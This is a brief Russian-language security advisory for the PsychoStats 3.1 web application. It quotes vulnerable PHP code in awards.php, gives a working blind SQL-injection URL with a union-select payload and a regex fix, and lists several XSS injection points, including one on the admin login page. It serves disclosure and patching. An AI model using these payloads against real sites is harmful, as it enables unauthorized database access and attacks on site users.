Сайт: http://www.psychostats.com/
Версия: 3.1
Дата: 03.01.2010
Blind SQL-injection
Файл: awards.php
PHP код:
if (empty($d) or !preg_match('/\d\d\d\d-\d\d?-\d\d?/', $d)) {
$d = date('Y-m-d');
// $d = $range[$v]['max'];
}
...
$cmd = "SELECT awarddate FROM $ps->t_awards WHERE awardrange = '$v' AND awarddate <= '$d' ";
if ($p) $cmd .= "AND topplrid=$_p ";
$cmd .= "ORDER BY awarddate DESC LIMIT 1";
list($d) = $ps->db->fetch_list($cmd);
Результат попадает вторым параметром в функцию date.
Exploit: /awards.php?d=2009-12-01'+and+0+union+select+1%23
Зависимости: -
Решение: замена паттерна на следующий "/^\d\d\d\d-\d\d?-\d\d?$/"
XSS
Код:
/query.php?s=[XSS]
/ajax/flaglist.php?id='%3E[XSS] (работает только для зареганных)
/ajax/iconlist.php?id='%3E[XSS] (работает только для зареганных)
/admin/login.php?ref=%22%3E[XSS]